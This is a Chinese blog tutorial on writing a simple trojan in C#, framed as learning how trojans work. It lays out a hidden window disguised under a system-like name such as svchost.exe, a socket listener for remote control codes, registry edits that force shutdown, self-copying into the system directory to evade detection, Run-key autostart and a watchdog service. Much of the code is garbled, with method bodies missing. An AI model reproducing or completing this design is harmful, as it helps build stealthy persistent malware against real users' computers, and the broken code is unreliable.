C 實現簡單的木馬程式(學習木馬製作流程)

2021-10-09 14:43:04 字數 2561 閱讀 6626

首先說明一下,學這個木馬製作流程並不是為了去做壞事,而是要知道它的原理,以後在工作生活中,也可以及時發現自己的電腦有沒有被植入木馬,從而規避一些不必要的損失。要實現木馬服務的程式,需要實現以下幾個功能:

一、先建立乙個windows窗體應用程式,為了方便隱藏,專案名稱可使用與系統相近的名稱(如svchost.exe等)。

1.將窗體屬性"showintaskbar"設為false,讓它執行時不會在工作列中顯示。

2.將窗體屬性"windowstate"設為mininized,這樣窗體就可以隱藏執行了。

二、控制**的接收,必須在服務程式執行開始時就啟動,所以偵聽執行緒必須在程式初始化中啟動,所以放在窗體的建構函式中,**如下:

public partial class form1 : form

/// /// 根據接收到的控制碼,執行不同的指令

///

private void mycontrolcode()}}

private void retmessage(socket socket)

}

三、登錄檔公共類:regutils.cs

using system;

using system.collections.generic;

using system.linq;

using system.text;

using microsoft.win32;

using system.diagnostics;

using system.windows.forms;

namespace 木馬服務程式

/// /// 修改登錄檔,使計算機關機

///

public static void unclose()

/// /// 修改登錄檔

///

/// 位置

/// 鍵

/// 值

private static void updateregedit(string position, string key, object value)

catch

//如果不存在則自已建立

if (subkey == null)

catch }}

}}

四、在木馬程式中還有乙個重要的功能就是自我的複製和轉移。木馬引入被控制的主機時,必須自動將木馬隱藏在system/syswow64目錄下,以防被發現。實現**如下:

/// /// 在木馬程式中還有乙個重要的功能:自我的複製和轉移

/// 描述資訊:木馬引入被控制的主機時必須自動將木馬隱藏在system/syswow64的目錄下以防被發現。

///

private void copying()

}catch (exception ex)

}

五、封裝的開機啟動類:boot.cs

using system;

using system.collections.generic;

using system.linq;

using system.text;

using system.diagnostics;

using microsoft.win32;

namespace 木馬服務程式

/// /// 將應用程式設為或不設為開機啟動

///

/// 自啟開關

//如果從設為開機啟動設定到不要設為開機啟動

return isok;

}/// /// 判斷註冊鍵值對是否存在,即是否處於開機啟動狀態

///

/// 鍵值名

///

private static bool i***istkey(string keyname)

string runsname = runs.getvaluenames();

foreach (string strname in runsname)

}return _exist;

}catch

}/// /// 寫入或刪除登錄檔鍵值對,即設為開機啟動或開機不啟動

///

/// 是否開機啟動

/// 應用程式名

/// 應用程式路徑帶程式名

///

private static bool selfrunning(bool isstart, string exename, string path)

//若開機自啟動則新增鍵值對

if (isstart)

else//否則刪除鍵值對}}

}catch (exception ex)

return true;}}

}

六、最好再建立乙個windows服務,用來監控木馬程式,防止程式意外退出。

用C 實現木馬程式

服務端的開發 要實現木馬服務的程式,主要實現以下幾個功能 後台的執行 隱藏技術 控制碼的接收與登錄檔的修改,下面對這三方面做介紹 1 在vc 中,建立乙個後台服務程式是很容易的,先建立乙個新的c 的windows應用程式,專案名稱自定 不過為了隱藏可使用與系統相近的名稱 將窗體屬性 showinta...

用C 實現木馬程式

木馬的介紹 因為本文是 木馬程式,所以在介紹之前有一些木馬構成的基本知識事先說明。乙個完整的木馬系統由硬體部分,軟體部分和具體連線部分組成。這裡主要對軟體部分介紹,它主要有控制端程式 木馬程式 後台服務程式 木馬配製程式組成。控制端用以遠端控 務端的程式 木馬程式是潛入服務端內部,獲取其操作許可權的...

用C 實現木馬程式

因為本文是 木馬程式,所以在介紹之前有一些木馬構成的基本知識事先說明。乙個完整的木馬系統由硬體部分,軟體部分和具體連線部分組成。這裡主要對軟體部分介紹,它主要有控制端程式 木馬程式 後台服務程式 木馬配製程式組成。控制端用以遠端控 務端的程式 木馬程式是潛入服務端內部,獲取其操作許可權的程式 木馬配...